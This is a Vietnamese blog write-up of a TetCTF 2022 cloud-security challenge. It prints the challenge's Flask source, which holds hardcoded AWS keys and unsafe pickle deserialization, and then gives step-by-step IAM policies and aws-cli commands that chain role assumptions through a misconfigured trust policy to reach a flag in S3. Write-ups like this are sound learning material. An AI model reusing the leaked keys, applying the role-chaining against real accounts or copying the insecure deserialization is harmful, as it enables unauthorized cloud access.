[CTF-Writeups] TetCTF-2022 Pickled Onions

Lâu quá không viết gì mới, lên bài đầu năm để phủi bụi cho Blog. TetCTF 2022 có một Challenge liên quan Cloud Security, mình có thử giải thành công.



Challenge URL: http://139.162.21.219:1337/


Kiểm tra mã HTML


Ta nhận thấy có một Bucket Public Access tại URI s3://secret-tetctf



Sau khi kiểm tra thì tập tin s3://secret-tetctf/secret chính là mã nguồn của Challenge


Plaintext

#!/usr/bin/python3

import json

import boto3

import base64

import pickle

from flask import *

 

app = Flask(__name__)

 

@app.route('/')

def index():

       return render_template('index.html')

 

@app.route('/login',methods=["GET","POST"])

def login():

       if request.method=="POST":

               return render_template('login.html',msg='Invalid Credentials')

       else:

               return render_template('login.html',msg='')

 

@app.route('/secret')

def env():

   return render_template('secret.html')

 

@app.route('/services')

def services():

       return render_template('services.html')

 

@app.route('/customers')

def customers():

       dynamodb = boto3.resource('dynamodb', region_name='us-east-1',aws_access_key_id='AKIAXNIS54OCBQD5C4ME',aws_secret_access_key='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')

       table = dynamodb.Table('customers')

       response = table.scan()

       data=[]

       for i in response["Items"]:

               print (i)

               i=base64.b64decode(i["data"])

               i=pickle.loads(i)

               print (i)

               data.append(i)

       return render_template('customers.html',data=data)

 

app.run('0.0.0.0',9000)


Dựa theo đoạn code ta có thể sử dụng lỗi Pickle Deserialization để RCE máy chủ trong trường hợp ghi được dữ liệu vào bảng customers.


Kiểm tra DynamoDB sử dụng ID và SECRET từ mã nguồn



Thử thêm dữ liệu vào table bằng API PutItem, UpdateItem đều không có quyền thực thi


Có vẻ hướng Pickle Deserialization không khả thi trong tình huống này, có thể tham khảo cách khai thác lỗi theo hướng này ở bài viết Python Deserialization on Integrated AWS DDB Flask App


Với IAM User đang có, tiếp tục kiểm tra danh sách Roles, nhận thấy có một Role tên CTF_ROLE bị lỗi cấu hình Policy, cho phép các Role có tên dạng *-Accessing_Tet_CTF_Flag* thuộc tất cả Account trong AWS đều có quyền Assume-Role này


$ aws iam list-roles


{

    "Roles": [

        …………,

        {

            "Path": "/",

            "RoleName": "CTF_ROLE",

            "RoleId": "AROAXNIS54OCL3NLUWKHX",

            "Arn": "arn:aws:iam::509530203012:role/CTF_ROLE",

            "CreateDate": "2021-12-29T15:30:56Z",

            "AssumeRolePolicyDocument": {

                "Version": "2008-10-17",

                "Statement": [

                    {

                        "Effect": "Allow",

                        "Principal": {

                            "AWS": "*"

                        },

                        "Action": "sts:AssumeRole",

                        "Condition": {

                            "StringLike": {

                                "aws:PrincipalArn": "arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*"

                            }

                        }

                    }

                ]

            },

            "Description": "CTF_ROLE",

            "MaxSessionDuration": 3600

        }

    ]

}


Theo như tên gọi, khả năng cao sau khi Assume-Role thành công CTF_ROLE ta sẽ tìm được Flag thông qua Role này.

Các bước tấn công như sau:

  1. Dùng một tài khoản AWS để tạo một IAM User có quyền STS:AssumeRole, ví dụ poc-attack

  2. Tạo tiếp một Role có tên dạng *-Accessing_Tet_CTF_Flag*, ví dụ PoC01-Accessing_Tet_CTF_Flag, cho phép Role này có quyền AssumeRole CTF_ROLE

  3. Sử dụng user poc-attack để AssumeRole PoC01-Accessing_Tet_CTF_Flag, sau đó tiếp tục AssumeRole CTF_ROLE

  4. Tìm Flag thông qua CTF_ROLE


Tạo user vào role có thể tham khảo bài viết của AWS rất chi tiết https://aws.amazon.com/premiumsupport/knowledge-center/iam-assume-role-cli/


Cơ bản cần tạo 3 tập tin policy.json như sau

poc-attack-policy.json : cho phép user có quyền STS:AssumeRole


{

   "Version": "2012-10-17",

   "Statement": [

       {

           "Effect": "Allow",

           "Action": [

               "iam:ListRoles",

               "sts:AssumeRole"

           ],

           "Resource": "*"

       }

   ]

}


poc-role-trust-policy.json : cho phép user poc-attack có thể AsumeRole PoC01-Accessing_Tet_CTF_Flag


{

   "Version": "2012-10-17",

   "Statement": {

       "Effect": "Allow",

       "Principal": {

           "AWS": "arn:aws:iam::783744053966:user/poc-attack"

       },

       "Action": "sts:AssumeRole"

   }

}


delegate-ctfrole-policy.json : cho phép Role PoC01-Accessing_Tet_CTF_Flag có thể AssumeRole CTF_ROLE


{

   "Version": "2012-10-17",

   "Statement": {

       "Effect": "Allow",

       "Action": "sts:AssumeRole",

       "Resource": "arn:aws:iam::509530203012:role/CTF_ROLE"

   }

}


Các commands sử dụng


$ aws --profile iam_admin iam create-user --user-name poc-attack


$ aws --profile iam_admin iam create-policy --policy-name poc-attack-policy --policy-document file://poc-attack-policy.json


$ aws --profile iam_admin iam attach-user-policy --user-name poc-attack --policy-arn "arn:aws:iam::783744053966:policy/poc-attack-policy"


$ aws --profile iam_admin iam create-role --role-name PoC01-Accessing_Tet_CTF_Flag --assume-role-policy-document file://poc-role-trust-policy.json


$ aws --profile iam_admin iam create-policy --policy-name delegate-ctfrole-policy --policy-document file://delegate-ctfrole-policy.json


$ aws --profile iam_admin iam attach-role-policy --role-name PoC01-Accessing_Tet_CTF_Flag --policy-arn "arn:aws:iam::783744053966:policy/delegate-ctfrole-policy"


Sau khi đã tạo user và role cần thiết, thực hiện khai thác lỗi

- Lấy ID/SECRET của poc-attack để thực hiện assume-role

$ aws iam create-access-key --user-name poc-attack



- Sử dụng session của poc-attack để assum-role PoC01-Accessing_Tet_CTF_Flag
$ aws sts assume-role --role-arn "arn:aws:iam::783744053966:role/PoC01-Accessing_Tet_CTF_Flag" --role-session-name poc-attack-session


- Tiếp tục Assume-Role CTF_ROLE sử dụng session của Role 
PoC01-Accessing_Tet_CTF_Flag
$ aws sts assume-role --role-arn "arn:aws:iam::509530203012:role/CTF_ROLE" --role-session-name aws-cli-session-ctf


Với CTF_ROLE ta sẽ tìm thấy Flag trong dịch vụ S3 tại URI s3://tet-ctf-secret/flag


Submit Flag


Câu hỏi là sao biết Flag nằm ở S3 bucket?

Cơ bản thì mọi người có thể thử kiểm tra với từng Services, mình thì theo bản năng check S3 đầu tiên nên thấy Flag luôn. Một cách khác là sử dụng các công cụ Audit như ScoutSuite, kết quả audit sẽ hiển thị các Services có thể truy xuất được từ CTF_ROLE



Vậy là đã xong, hi vọng năm nay có nhiều thời gian viết linh tinh hơn để chia sẻ với mọi người.

Happy New Year 2022!

Nhận xét

Bài đăng phổ biến từ blog này

CVE-2019-12839: Lỗ hổng thực thi mã lệnh tùy ý trên OrangeHRM CMS

[Steganography] Kỹ thuật che dấu thông tin - Phần 2

PHP Race Condition Vulnerability Example